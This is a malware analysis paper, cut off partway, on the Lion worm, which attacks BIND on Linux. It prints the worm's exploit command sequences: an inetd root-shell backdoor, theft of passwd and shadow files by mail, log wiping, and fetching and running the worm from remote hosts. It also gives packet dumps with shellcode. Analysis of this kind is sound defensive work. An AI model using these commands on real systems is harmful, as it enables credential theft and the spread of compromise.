|  Lion Internet Worm 
      Analysis Three versions, more on the way, and a political 
      message.
 Max Vision <vision@whitehats.com>
 
 Abstract This paper provides an introduction to the Lion (1i0n) Worm author and 
      a technical analysis of the Lion Internet Worm. Three unique variations of 
      the Lion Worm have been released on the Internet over the past month. All 
      three versions of the Lion Worm are unsophisticated unix shellscript 
      worms. They use exploit scripts to scan and compromise Linux servers 
      running BIND that have the transaction signatures buffer overflow 
      vulnerability. The origin, composition, and behavior of each worm is 
      discussed in detail. Then, instructions for prevention, detection, and 
      repair of a worm-infected system are offered. The first two strains of the 
      Lion Worm are now effectively "dead", because each of these relied on a 
      centralized distribution mechanism that is now shut down. The third strain 
      of the Lion Worm is essentially a copy of the Ramen worm and, since it 
      shares Ramen's distribution mechanism, it may still be actively exploiting 
      systems. Contents 
       Origin
 A Chinese cracker named "Lion" authored the Lion Worm. I was able to 
      locate and conduct a brief interview with the author. Lion founded the 
      H.U.C. (Honker Union of China at http://www.cnhonker.com/), which is a 
      Chinese group that supports "the cyber defense of the motherland 
      sovereignty of China". They consider the word "honker" to be a new term, 
      roughly meaning "network guard for national security". Apparently, they 
      have created these worms as a warning against the Japanese because of 
      controvertial books currently used in Japanese schools. These textbooks 
      depict the Japanese invasion and occupation of various asian countries, 
      such as China and Korea, as being beneficial to the occupied countries. 
      The book claims said the 1937-1938 Nanking massacre in China ''was not a 
      holocaust'' and that Japan's annexation of the Korean Peninsula in 1910 
      was ''legitimate''. The statement I received from the H.U.C. is the 
      following: 
        
        
          | 
              
              
                | "because of the japan's disrepect, 
                  cnhonker had been roused, and the lion worm is just 
                  to tell the japanese
 chinese is not sheep, they must be 
                  answer for
 They must assue the obligation with their 
                  crime
 They must assue their action for the educational 
                  book."
 |  |  I did not discuss the right or wrong of their actions. However, I did 
      ask them why they would unleash a worm on the entire internet when they 
      were just upset with the Japanese education system. Their reply was that 
      they could not identify the correct IP addresses ranges. Since these are 
      readily available from jpnic, I question their motives of tying a 
      political message to their actions and calling it hacktivism. If the Lion 
      Worm was meant as a political message, then why was no message attached? 
      In any case, I believe I discovered the actual author, the group, and the 
      (stated) motive. Composition
 There are three distinct versions of the Lion Worm. Each appears to be 
      an unoriginal cut-and-paste, script-driven worm. The first version has an 
      infection routine and includes the t0rn rootkit. The second version is 
      nearly identical to the first, but does not include the rootkit. And the 
      third is almost identical to the Ramen worm, except that its exploits are 
      replaced by the bind exploit. Each version of the Lion Worm shares the same core components. The worm 
      is composed of a tcp connect portscanner, the bind exploit, and several 
      scripts that tie the components together and drive the worm. For the first 
      two versions of the worm, the worm package (a tgz archive bundle) was 
      downloaded from a server (a FreeBSD system located in China). The third 
      version of the worm uses the distributed distribution code from the Ramen 
      worm and the worm is downloaded from the previously infected system. The 
      following files are found in all known versions of the Lion Worm: 
        
        
          | 
              
              
                | Filename | Apparent Author | Description |  
                | 1i0n.sh | worm author | shell script; removes tcpwrappers access 
                  control list, runs getip.sh, adds the worm into the startup 
                  scripts, then runs star.sh. |  
                | getip.sh | worm author | shell script; sends system IP address, OS 
                  version information, /etc/passwd file, and /etc/shadow file to 
                  the attacker's email address (1i0nkit@china.com). |  
                | star.sh | worm author | shell script; launches scan.sh and 
                  hack.sh 
                  as background processes. |  
                | scan.sh | worm author | shell script; kills any local BIND process 
                  running, chooses random class b network by running randb, then 
                  runs pscan against the target network dumping 
                  results to bindname.log. |  
                | randb | unknown | Linux ELF binary; prints a random 
                  class b address such as "10.23" (very similar to gimmeRAND.c 
                  from the ADMw0rm, though binary analysis shows several 
                  changes). |  
                | pscan | unknown | Linux ELF binary; pscan is a portscanner that 
                  scans a given class a, b, or c network range for a single tcp 
                  port. Origin found, but there were no author credits in the 
                  source. |  
                | hack.sh | worm author | shell script; reads in targets from 
                  bindname.log (created by scan.sh) and runs bindx.sh 
                  against each target. |  
                | bindx.sh | worm author | shell script; launches bind attack against 
                  target. |  
                | bind | LSD | Linux ELF binary; remote exploit for the BIND 
                  8.2.x vulnerability, written by LSD, released on their website 
                  February 8th 2001. |  |  This is a typical worm that seems to share much of the same code from 
      previous worms such as the ADMworm 
      (1998) , Millenium 
      Worm (1999), and Ramen Worm 
      (2001). The evidence shows that this is a modified version of another 
      worm, such as the hack.sh script which calls bindx.sh to exploit BIND. 
      This seems redundant, unless you consider that the original hack.sh 
      actually acted as a driver for several different exploit scripts. The Lion 
      Worm author only needed one exploit, but left the script structure that 
      was originally designed for multiple exploits. The other scripts are also 
      only slightly modified versions of scripts from previous worms. Lion Worm Infection/Propagation 
      Cycle
 All three versions of the Lion Worm have the same infection and 
      propagation cycle. Viewed from the perspective of a new victim host, the 
      first sign of worm network activity is a TCP portscan at port 53. The worm 
      scans random class B address blocks for potential targets. When it finds a 
      responsive nameserver, the worm launches the BIND exploit against the 
      target. When this exploit is successful, the commands run (via the BIND 
      exploit) cause the new victim to download its own copy of the worm, 
      extract the worm package, and then execute the startup scripts. The first step for the worm is a pscan probe of the random class b 
      address space. In my lab setup I crippled the randb program so that it 
      always returns 10.0.0. I chose to use the 10.0.0.0/24 class c space only 
      to reduce clutter in the logs. This still allows for an accurate 
      simulation of the scan. Pscan sends tcp SYN packets to each address in the 
      10.0.0 range. However, pscan is actually a full connect() scanner. This 
      enables it to operate much more quickly, but it is more "noisy" in most 
      logging systems. The target machine is running a Redhat Linux 6.2 default 
      server at the 10.0.0.23 address. The source machine simulating the 
      worm-infected attacker is on a separate subnet. If it is on the same 
      subnet, a tcp connect() based scanner will not send its probes to hosts 
      unless they respond to arp requests. A packet trace of this successful 
      probe follows: 
        
        
          | A full connection is established: 03/26-02:09:58.233466 192.168.0.3:4556 -> 
            10.0.0.23:53TCP TTL:64 TOS:0x0 ID:56799 IpLen:20 DgmLen:60 
            DF
 ******S* Seq: 0x16322CA3 Ack: 0x0 Win: 0x7D78 TcpLen: 
            40
 
 03/26-02:09:58.247112 10.0.0.23:53 -> 
            192.168.0.3:4556TCP TTL:64 TOS:0x0 ID:749 IpLen:20 DgmLen:60 
            DF
 ***A**S* Seq: 0x8BACEBE6 Ack: 0x16322CA4 Win: 0x7D78 TcpLen: 
            40
 
 03/26-02:09:58.247190 192.168.0.3:4556 -> 
            10.0.0.23:53TCP TTL:64 TOS:0x0 ID:56930 IpLen:20 DgmLen:52 
            DF
 ***A**** Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 
            32
 A full graceful disconnect: 03/26-02:09:58.344645 192.168.0.3:4556 -> 
            10.10.0.23:53TCP TTL:64 TOS:0x0 ID:56932 IpLen:20 DgmLen:52 
            DF
 ***A***F Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 
            32
 03/26-02:09:58.385016 10.0.0.23:53 -> 
            192.168.0.3:4556TCP TTL:64 TOS:0x0 ID:750 IpLen:20 DgmLen:52 
            DF
 ***A**** Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 
            32
 03/26-02:09:58.386565 10.0.0.23:53 -> 
            192.168.0.3:4556TCP TTL:64 TOS:0x0 ID:751 IpLen:20 DgmLen:52 
            DF
 ***A***F Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 
            32
 
 03/26-02:09:58.386614 
            192.168.0.3:4556 -> 10.0.0.23:53
 TCP TTL:64 TOS:0x0 ID:56934 
            IpLen:20 DgmLen:52 DF
 ***A**** Seq: 0x16322CA5 Ack: 0x8BACEBE8 
            Win: 0x7D78 TcpLen: 32
 |  Pscan finds the 10.0.0.23 target system responsive to its probe. This 
      IP address is added to bindname.log. A hack script that tails the 
      bindname.log file runs in parallel with the scanner. When the new target 
      IP address is added, the hack script takes the new target IP address and 
      passes it to the BIND exploit. The BIND exploit, written by the Last Stage of Delirium, is nearly 
      identical in all three worms. LSD actually released their exploit 
      linx86_bind.c on their website February 8th, the exact version used in 
      Lion version 1 (Lion.v1). However, the next day LSD updated the code 
      (without changing the filename), making minor changes to their exploit. 
      The changes were mostly cosmetic and did not affect the exploit 
      methodology. One noticeable change in the newer exploit was the different 
      command line parameters. By matching the command line syntax of the 
      exploits, I determined that Lion.v1 used the February 8th exploit. Lion.v2 
      and Lion.v3 used later versions. Each worm executes different commands on 
      the remote host with the BIND exploit. My worm testing was greatly complicated by my choice of example target 
      platform: a default server install of Redhat 6.2. I thought that it was 
      probably the most popular distribution and version of Linux in use on the 
      Internet. Thus, it would be the best example of a typical worm target. 
      Indeed, the BIND exploit specifically listed Redhat 6.2 as the target 
      platform! However, Redhat does not enable the named service by default. 
      When it is activated (via linuxconf or ntsysv utilities), named is run as 
      user named, such as "named -u named". The only way Redhat 6.2 can be 
      vulnerable to the BIND exploit is when the administrator manually adds 
      named to the startup scripts, then intentionally runs it as root by 
      deleting the "-u named" portion of the startup command. After extensive 
      testing, I determined that this was true for all published BIND exploits 
      that claim to affect Redhat 6.2. Then I was convinced that I must have 
      missed something. A very warm thanks goes to Andreas Östling, who 
      described seeing the very same results I had seen and gave me 
      encouragement to continue the analysis.  Since each of the three worms use the same BIND exploit, the packet 
      captures are almost identical except for the commands run on the target 
      server. The following is an example of an attack from Lion.v1. 
        
        
          | A TCP connection is established with the named process: 03/26-03:48:43.986286 192.168.0.3:1066 -> 
            10.0.0.23:53TCP TTL:64 TOS:0x0 ID:3710 IpLen:20 DgmLen:60 
            DF
 ******S* Seq: 0x8BC46DF0 Ack: 0x0 Win: 0x7D78 TcpLen: 
            40
 03/26-03:48:44.012120 10.0.0.23:53 -> 
            192.168.0.3:1066TCP TTL:64 TOS:0x0 ID:769 IpLen:20 DgmLen:60 
            DF
 ***A**S* Seq: 0x23CBBF59 Ack: 0x8BC46DF1 Win: 0x7D78 TcpLen: 
            40
 03/26-03:48:44.012205 192.168.0.3:1066 -> 
            10.0.0.23:53TCP TTL:64 TOS:0x0 ID:3712 IpLen:20 DgmLen:52 
            DF
 ***A**** Seq: 0x8BC46DF1 Ack: 0x23CBBF5A Win: 0x7D78 TcpLen: 
            32
 Then, a malformed UDP IQUERY is sent to trigger the BIND Infoleak 
            bug. This information is used by the exploit to determine the base 
            value of the named process frame stack pointer. This information is 
            later used for constructing the proper TSIG exploit packet: 03/26-03:48:44.013916 192.168.0.3:1938 -> 
            10.0.0.23:53UDP TTL:64 TOS:0x0 ID:3713 IpLen:20 
            DgmLen:51
 Len: 31
 AB CD 09 80 00 00 00 01 00 00 00 00 00 00 01 
            00 ................
 01 20 20 20 20 02 
            61                            .    .a
 03/26-03:48:44.070898 10.0.0.23:53 -> 
            192.168.0.3:1938UDP TTL:64 TOS:0x0 ID:770 IpLen:20 
            DgmLen:660
 Len: 640
 AB CD 89 81 00 00 00 00 00 00 00 00 00 00 
            01 00 ................
 01 20 20 20 20 02 61 00 17 FB FF C3 00 00 
            00 00 . .a.........
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
            00 ................
 00 00 00 08 14 FA FF BF B4 FA FF BF 00 00 00 
            BF ................
 20 FA FF BF 94 FB FF BF B4 FA FF BF 00 00 00 
            00 ...............
 EC 81 10 40 40 ED 0C 08 48 FC FF BF 48 FC FF 
            BF ...@@...H...H...
 00 01 00 07 E9 00 00 04 01 46 C0 1E 00 00 02 
            00 .........F......
 01 00 07 E9 01 00 AD FB 94 FB FF BF 94 FB FF 
            BF ................
 00 6B 10 40 00 00 00 00 A1 FB FF BF 00 6B 10 
            40 .k.@.........k.@
 00 00 00 00 0C FB FF BF F0 FA FF BF C1 0A 03 
            40 ...............@
 0C FB FF BF DA 39 08 08 14 FB FF BF DA 39 08 
            08 .....9.......9..
 08 00 00 00 F0 4D 0D 08 08 90 12 40 01 00 00 
            00 .....M.....@....
 C8 26 11 40 3C FB FF BF 25 7A 08 08 F0 4D 0D 
            08 .&.@<...%z...M..
 05 00 00 00 28 FB FF BF C3 39 08 08 08 
            00 00 00 ....(....9......
 00 00 00 00 00 00 00 00 48 FB FF BF DC 
            87 08 08 ........H.......
 08 00 00 00 F0 4D 0D 08 08 90 12 40 06 
            00 00 00 .....M.....@....
 4B 86 08 08 F0 4D 0D 08 68 FB FF BF 5E 
            86 08 08 K....M..h...^...
 08 90 12 40 AC FB FF BF 01 00 00 00 08 
            80 12 40 ...@...........@
 34 FC FF BF 06 00 00 00 F8 FB FF BF 3A 
            D8 05 08 4...........:...
 F0 4D 0D 08 06 00 00 00 AC FB FF BF 01 
            00 00 00 .M..............
 8C DB 05 08 08 80 12 40 64 80 12 40 4C 
            80 12 40 .......@d..@L..@
 02 00 00 00 D8 EF 0C 08 F0 4D 0D 08 C8 
            FB FF BF .........M......
 DA 39 08 08 0C 00 00 00 F0 4D 0D 08 16 
            00 00 00 .9.......M......
 01 00 00 00 DD D7 CB 3A 61 6E 0E 00 F0 
            4D 0D 08 .......:an...M..
 FF FF FF FF DD D7 CB 3A DC FB FF BF C3 
            39 08 08 .......:.....9..
 0C 00 00 00 00 00 00 00 00 00 00 00 94 
            FC FF BF ................
 23 6C 08 08 0C 00 00 00 D0 4D 0D 08 FF 
            FF FF FF #l.......M......
 00 00 00 00 F0 4D 0D 08 10 4E 0D 08 64 
            24 11 40 .....M...N..d$.@
 F0 4D 0D 08 40 24 11 40 00 00 00 00 00 
            00 00 00 .M..@$.@........
 5C D0 11 40 B5 E2 CB 3A 28 A8 8D 0B 88 
            24 11 40 \..@...:(....$.@
 01 00 00 00 3C FC FF BF 92 3B 08 08 0C 
            00 00 00 ....<....;......
 88 24 11 40 DD D7 CB 3A E8 2A 5F 38 
            54 FC FF BF .$.@...:.*_8T...
 7E 3B 08 08 02 00 07 92 C0 A8 00 03 
            14 DF 71 C1 ~;............q.
 DC 15 9F C0 98 FC FF BF 6D 6D 08 08 
            F0 4D 0D 08 ........mm...M..
 40 24 11 40 16 00 00 00 01 00 00 00 
            F0 4D 0D 08 @$.@.........M..
 05 00 00 00 80 E4 0B 08 16 00 00 00 
            01 00 00 00 ................
 80 DE 05 08 40 24 11 40 D0 4D 0D 08 
            FF FF FF FF ....@$.@.M......
 00 00 00 00 C8 FD FF BF C8 FD FF BF 
            C5 D3 05 08 ................
 F0 4D 0D 08 04 D7 10 40 EC 81 10 40 
            60 AE 00 40 .M.....@...@`..@
 14 FE FF BF D5 9A 02 
            40                         .......@
 Since the target appears to be a vulnerable Linux running BIND 8, 
            the exploit sends its overflow. The exploit code walks the 
            descriptor table of the exploited named process in search of the 
            socket descriptor of the previously established TCP session. The 
            found descriptor is duplicated on stdin, stdout, stderr, and /bin/sh 
            is spawned: 03/26-03:48:44.081585 192.168.0.3:1938 -> 
            10.0.0.23:53UDP TTL:64 TOS:0x0 ID:3718 IpLen:20 
            DgmLen:537
 Len: 517
 AB CD 01 00 00 02 00 00 00 00 00 01 3F 90 
            90 90 ............?...
 EB 3B 31 DB 5F 83 EF 7C 8D 77 10 89 77 04 
            8D 4F .;1._..|.w..w..O
 20 89 4F 08 B3 10 89 19 31 C9 B1 FF 89 0F 
            51 31 .O.....1.....Q1
 C0 B0 66 B3 07 89 F9 CD 80 59 31 DB 39 D8 
            75 0A ..f......Y1.9.u.
 66 BB 04 2A 66 39 5E 02 74 08 E2 E0 3F E8 
            C0 FF f..*f9^.t...?...
 FF FF 89 CB 31 C9 B1 03 31 C0 B0 3F 49 CD 
            80 41 ....1...1..?I..A
 E2 F6 EB 14 31 C0 5B 8D 4B 14 89 19 89 43 
            18 88 ....1.[.K....C..
 43 07 31 D2 B0 0B CD 80 E8 E7 FF FF FF 2F 
            62 69 C.1........../bi
 6E 2F 73 68 90 90 90 90 90 90 90 90 01 6B 
            01 40 n/sh.........k.@
 01 00 01 00 01 FB 01 BF 01 FA 01 BF 01 0A 
            01 40 ...............@
 01 FB 01 BF 01 39 01 08 01 FB 01 BF 01 39 
            01 08 .....9.......9..
 01 00 01 00 01 4D 01 08 01 90 01 40 01 00 
            01 00 .....M.....@....
 01 26 01 40 01 FB 01 BF 01 7A 01 08 01 4D 
            01 08 .&.@.....z...M..
 01 00 01 00 01 FB 01 BF 01 39 01 08 01 
            00 01 00 .........9......
 01 00 01 00 01 00 01 00 01 FB 01 BF 01 
            87 01 08 ................
 01 00 01 00 01 4D 01 08 01 90 01 40 01 
            00 01 00 .....M.....@....
 01 86 01 08 01 4D 01 08 01 FB 01 BF 00 
            00 01 00 .....M..........
 01 01 12 01 AC 01 FF 01 01 01 00 01 08 
            01 12 01 ................
 34 01 FF 01 06 01 00 01 F8 01 FF 01 3A 
            01 05 01 4...........:...
 F0 01 0D 01 06 01 00 01 AC 01 FF 01 01 
            01 00 01 ................
 8C 01 05 01 08 01 12 01 64 01 12 01 4C 
            01 12 01 ........d...L...
 02 01 00 01 D8 01 0C 01 F0 01 0D 01 C8 
            01 FF 01 ................
 DA 01 08 01 0C 01 00 01 F0 01 0D 01 16 
            01 00 01 ................
 01 01 00 01 DD 01 CB 01 61 01 0E 01 F0 
            01 0D 01 ........a.......
 FF 01 FF 01 DD 01 CB 01 DC 01 FF 01 C3 
            01 08 01 ................
 0C 01 00 01 00 01 00 01 00 01 00 01 94 
            01 FF 01 ................
 23 01 08 01 0C 01 00 01 D0 01 0D 01 FF 
            01 FF 01 #...............
 00 01 00 01 F0 01 0D 01 10 01 0D 01 64 
            01 11 10 ............d...
 06 00 00 00 4D FA FF BF 00 00 00 00 00 
            FC FF BF ....M...........
 01 D0 01 40 01 E2 01 3A 01 A8 01 0B 01 
            24 01 40 ...@...:.....$.@
 01 00 01 00 01 FC 01 BF 01 3B 01 08 01 
            00 01 00 .........;......
 01 24 01 40 00 00 01 00 01 00 00 FA FF 
                     .$.@.........
 03/26-03:48:44.231793 10.0.0.23:53 -> 
            192.168.0.3:1938UDP TTL:64 TOS:0x0 ID:771 IpLen:20 
            DgmLen:561
 Len: 541
 AB CD 81 80 00 02 00 00 00 00 00 01 3F 90 
            90 90 ............?...
 EB 3B 31 DB 5F 83 EF 7C 8D 77 10 89 77 04 
            8D 4F .;1._..|.w..w..O
 20 89 4F 08 B3 10 89 19 31 C9 B1 FF 89 0F 
            51 31 .O.....1.....Q1
 C0 B0 66 B3 07 89 F9 CD 80 59 31 DB 39 D8 
            75 0A ..f......Y1.9.u.
 66 BB 04 2A 66 39 5E 02 74 08 E2 E0 3F E8 
            C0 FF f..*f9^.t...?...
 FF FF 89 CB 31 C9 B1 03 31 C0 B0 3F 49 CD 
            80 41 ....1...1..?I..A
 E2 F6 EB 14 31 C0 5B 8D 4B 14 89 19 89 43 
            18 88 ....1.[.K....C..
 43 07 31 D2 B0 0B CD 80 E8 E7 FF FF FF 2F 
            62 69 C.1........../bi
 6E 2F 73 68 90 90 90 90 90 90 90 90 01 6B 
            01 40 n/sh.........k.@
 01 00 01 00 01 FB 01 BF 01 FA 01 BF 01 0A 
            01 40 ...............@
 01 FB 01 BF 01 39 01 08 01 FB 01 BF 01 39 
            01 08 .....9.......9..
 01 00 01 00 01 4D 01 08 01 90 01 40 01 00 
            01 00 .....M.....@....
 01 26 01 40 01 FB 01 BF 01 7A 01 08 01 4D 
            01 08 .&.@.....z...M..
 01 00 01 00 01 FB 01 BF 01 39 01 08 01 
            00 01 00 .........9......
 01 00 01 00 01 00 01 00 01 FB 01 BF 01 
            87 01 08 ................
 01 00 01 00 01 4D 01 08 01 90 01 40 01 
            00 01 00 .....M.....@....
 01 86 01 08 01 4D 01 08 01 FB 01 BF 00 
            00 01 00 .....M..........
 01 01 12 01 AC 01 FF 01 01 01 00 01 08 
            01 12 01 ................
 34 01 FF 01 06 01 00 01 F8 01 FF 01 3A 
            01 05 01 4...........:...
 F0 01 0D 01 06 01 00 01 AC 01 FF 01 01 
            01 00 01 ................
 8C 01 05 01 08 01 12 01 64 01 12 01 4C 
            01 12 01 ........d...L...
 02 01 00 01 D8 01 0C 01 F0 01 0D 01 C8 
            01 FF 01 ................
 DA 01 08 01 0C 01 00 01 F0 01 0D 01 16 
            01 00 01 ................
 01 01 00 01 DD 01 CB 01 61 01 0E 01 F0 
            01 0D 01 ........a.......
 FF 01 FF 01 DD 01 CB 01 DC 01 FF 01 C3 
            01 08 01 ................
 0C 01 00 01 00 01 00 01 00 01 00 01 94 
            01 FF 01 ................
 23 01 08 01 0C 01 00 01 D0 01 0D 01 FF 
            01 FF 01 #...............
 00 01 00 01 F0 01 0D 01 10 01 0D 01 64 
            01 11 10 ............d...
 06 00 00 00 4D FA FF BF 00 00 00 00 00 
            FC FF BF ....M...........
 01 D0 01 40 01 E2 01 3A 01 A8 01 0B 01 
            24 01 40 ...@...:.....$.@
 01 00 01 00 01 FC 01 BF 01 3B 01 08 01 
            00 01 00 .........;......
 01 24 01 40 00 00 01 00 01 00 00 FA 00 
            FF 00 00 .$.@............
 00 00 00 11 00 00 00 3A CB D7 DD 01 2C 
            00 00 AB .......:....,...
 CD 00 11 00 00 
                                             .....
 Now that the TCP session is bound to a root shell, the exploit 
            can send its commands: 03/26-03:48:45.097060 192.168.0.3:1066 -> 
            10.0.0.23:53TCP TTL:64 TOS:0x0 ID:3727 IpLen:20 DgmLen:552 
            DF
 ***AP*** Seq: 0x8BC46DF1 Ack: 0x23CBBF5A Win: 0x7D78 TcpLen: 
            32
 TCP Options (3) => NOP NOP TS: 118820653 18817617
 50 41 
            54 48 3D 27 2F 75 73 72 2F 62 69 6E 3A 2F PATH='/usr/bin:/
 62 69 
            6E 3A 2F 75 73 72 2F 6C 6F 63 61 6C 2F 62 bin:/usr/local/b
 69 6E 
            2F 3A 2F 75 73 72 2F 73 62 69 6E 2F 3A 2F in/:/usr/sbin/:/
 73 62 
            69 6E 27 3B 65 78 70 6F 72 74 20 50 41 54 sbin';export PAT
 48 3B 
            65 78 70 6F 72 74 20 54 45 52 4D 3D 76 74 H;export TERM=vt
 31 30 
            30 3B 72 6D 20 2D 72 66 20 2F 64 65 76 2F 100;rm -rf /dev/
 2E 6C 
            69 62 3B 6D 6B 64 69 72 20 2F 64 65 76 2F .lib;mkdir /dev/
 2E 6C 
            69 62 3B 63 64 20 2F 64 65 76 2F 2E 6C 69 .lib;cd /dev/.li
 62 3B 
            65 63 68 6F 20 27 31 30 30 38 20 73 74 72 b;echo '1008 str
 65 61 
            6D 20 74 63 70 20 6E 6F 77 61 69 74 20 72 eam tcp nowait r
 6F 6F 
            74 20 2F 62 69 6E 2F 73 68 20 73 68 27 20 oot /bin/sh sh'
 3E 3E 
            2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 
            >>/etc/inetd.con
 66 3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 
            20 69 f;killall -HUP i
 6E 65 74 64 3B 69 66 63 6F 6E 66 69 67 20 
            2D 61 netd;ifconfig -a
 3E 31 69 30 6E 3B 63 61 74 20 2F 65 74 63 
            2F 70 >1i0n;cat /etc/p
 61 73 73 77 64 20 3E 3E 31 69 30 6E 3B 
            63 61 74 asswd >>1i0n;cat
 20 2F 65 74 63 2F 73 68 61 64 6F 
            77 20 3E 3E 31 /etc/shadow >>1
 69 30 6E 3B 6D 61 69 6C 20 
            31 69 30 6E 69 70 40 i0n;mail 1i0nip@
 63 68 69 6E 61 2E 63 6F 6D 
            20 3C 31 69 30 6E 3B china.com <1i0n;
 72 6D 20 2D 66 72 20 31 
            69 30 6E 3B 72 6D 20 2D rm -fr 1i0n;rm -
 66 72 20 2F 2E 62 61 73 
            68 5F 68 69 73 74 6F 72 fr /.bash_histor
 79 3B 6C 79 6E 78 20 2D 
            64 75 6D 70 20 68 74 74 y;lynx -dump htt
 70 3A 2F 2F 63 6F 6F 6C 
            6C 69 6F 6E 2E 35 31 2E p://coollion.51.
 6E 65 74 2F 63 72 65 77 
            2E 74 67 7A 20 3E 31 69 net/crew.tgz >1i
 30 6E 2E 74 67 7A 3B 
            74 61 72 20 2D 7A 78 76 66 0n.tgz;tar -zxvf
 20 31 69 30 6E 2E 74 
            67 7A 3B 72 6D 20 2D 66 72 1i0n.tgz;rm -fr
 20 31 69 30 6E 2E 74 
            67 7A 3B 63 64 20 6C 69 62 1i0n.tgz;cd lib
 3B 2E 2F 31 69 30 6E 
            2E 73 68 3B 65 78 69 74 3B ;./1i0n.sh;exit;
 0A 00 65 72 72 6F 72 
            00 00 00 00 00 00 00 00 00 ..error.........
 00 00 00 00 00 00 00 
            00 00 00 00 00 00 00 00 00 ................
 00 00 00 00 54 AD 04 
            08 00 00 00 00 00 00 00 00 ....T...........
 00 00 00 00 
                                                ....
 03/26-03:48:45.107991 10.0.0.23:53 -> 
            192.168.0.3:1066TCP TTL:64 TOS:0x0 ID:772 IpLen:20 DgmLen:52 
            DF
 ***A**** Seq: 0x23CBBF5A Ack: 0x8BC46FE5 Win: 0x7C70 TcpLen: 
            32
 |  The following table illustrates the commands used in the BIND exploit 
      by each version of the worm. 
        
        
          | 
              
              
                | Commands sent by each Lion worm 
                  using BIND exploit (differences marked in red) |  
                | Lion.v1 | PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin'; export 
                  PATH;
 export TERM=vt100;
 rm -rf /dev/.lib;
 mkdir 
                  /dev/.lib;
 cd /dev/.lib;
 echo '1008 stream tcp nowait 
                  root /bin/sh sh' >>/etc/inetd.conf;
 killall -HUP 
                  inetd;
 ifconfig -a>1i0n;
 cat /etc/passwd 
                  >>1i0n;
 cat /etc/shadow >>1i0n;
 mail 
                  1i0nip@china.com <1i0n;
 rm -fr 1i0n;
 rm -fr 
                  /.bash_history;
 lynx -dump http://coollion.51.net/crew.tgz 
                  >1i0n.tgz;
 tar -zxvf 1i0n.tgz;
 rm -fr 1i0n.tgz;
 cd 
                  lib;
 ./1i0n.sh;
 exit;
 |  
                | Lion.v2 | PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin'; export 
                  PATH;
 export TERM=vt100;
 rm -rf /dev/.lib;
 mkdir 
                  /dev/.lib;
 cd /dev/.lib;
 echo '1008 stream tcp nowait 
                  root /bin/sh sh' >>/etc/inetd.conf;
 killall -HUP 
                  inetd;
 ifconfig -a>1i0n;
 cat /etc/passwd 
                  >>1i0n;
 cat /etc/shadow >>1i0n;
 mail 
                  1i0nip@china.com <1i0n;
 rm -fr 1i0n;
 rm -fr 
                  /.bash_history;
 echo 
                  >/var/log/messages;
 echo 
                  >/var/log/maillog;
 lynx -dump 
                  http://coollion.51.net/crew.tgz >1i0n.tgz;
 tar -zxvf 
                  1i0n.tgz;
 rm -fr 1i0n.tgz;
 cd 
                  lib;
 ./1i0n.sh;
 exit
 |  
                | Lion.v3 | PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';export 
                  PATH;
 export TERM=vt100;
 rm -rf /dev/.lib;
 mkdir 
                  /dev/.lib;
 cd /dev/.lib;
 echo '10008 stream tcp nowait 
                  root /bin/sh sh' >>/etc/inetd.conf;
 killall -HUP 
                  inetd;
 ifconfig -a>1i0n;
 cat /etc/passwd 
                  >>1i0n;
 cat /etc/shadow >>1i0n;
 mail huckit@china.com <1i0n;
 rm -fr 
                  1i0n;
 rm -fr /.bash_history;
 echo 
                  >/var/log/messages;
 rm -rf 
                  /var/log/maillog;
 echo 'Powered by 
                  H.U.C(c0011i0n).-----1i0n Crew' >index.html;
 echo 
                  '#!/bin/sh' > lion;
 echo 'nohup find / -name 
                  "index.html" -exec /bin/cp index.html {} 
                  \;'>>lion;
 echo 'tar -xf 
                  1i0n.tar'>>lion;
 echo './1i0n.sh' 
                  >>lion;
 echo >>lion;
 echo 
                  >>lion;
 chmod 755 lion;
 TERM='linux'
 export 
                  PATH='/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin'
 lynx 
                  -source http://PREVIOUS-HOST-IP:27374 > 
                  1i0n.tar;
 ./lion
 |  |  The key difference in the way each worm propagates is that the first 
      two versions use lynx to download the worm archive from a hardcoded 
      website address. The website hosted in China has since been removed, 
      effectively killing those strains of the worm. The third version uses the 
      asp webserver code from the Ramen worm. In fact, the same binary was 
      simply copied over, and even uses the same name for the file: 
      /tmp/ramen.tgz. This method causes the new victim to connect back to the 
      attacker at port 27374 to download a copy of the worm. This port is used 
      by the asp webserver program because it is started from inetd.conf using 
      the service name "asp". In Redhat 6.2, /etc/services correlates to port 
      27374. When a remote system is exploited by the worm and the worm has run the 
      exploit commands, the worm archive is downloaded, extracted, and launched 
      on the new victim host. The following process flowchart shows how the 
      scripts of the worm package interact and effectively spread the worm to 
      other systems. With each repeat of this cycle, each new infected system 
      immediately starts scanning and attacking other random systems. 
       
        
        
          | 
              
              
                | Lion Process Flowchart (all Lion versions 
                  follow this model) |  
                |  |  |  
 Prevention
 Since the Lion Worm can only spread through the BIND TSIG 
      vulnerability, closing this security hole prevents infection. Security 
      patches have been available from vendors since January 2001. Vulnerable 
      Linux distributions have released update RPMs that effectively close the 
      hole. Various remote exploits for this vulnerability have been widely 
      published in public forums and web sites. Despite the availability of 
      patches and widespread exploitation of vulnerable services, a very large 
      number of Linux servers remain vulnerable. Attempts to obscure the BIND version or server operating system are not 
      effective in preventing infection, since the worm attempts to exploit all 
      BIND servers that it finds. The exploit, written by LSD, intelligently 
      uses the BIND Infoleak vulnerability to determine if the remote system can 
      be exploited before attempting to compromise the server. Caldera, Conectiva, Debian, Immunix, Mandrake, Redhat, Slackware, SuSE, 
      and TurboLinux have released patches or upgrades to address the 
      vulnerability. Please visit your vendor's security or errata webpage for 
      more detailed prevention and upgrading information. The following direct 
      links are provided: Caldera: http://www.caldera.com/support/security/advisories/CSSA-2001-008.1.txtConectiva: 
      http://distro.conectiva.com/atualizacoes/?id=a&anuncio=000377
 Debian: 
      http://www.debian.org/security/2001/dsa-026
 Immunix: 
      http://download.immunix.org/ImmunixOS/7.0-beta/updates/IMNX-2001-70-001-01
 Mandrake: 
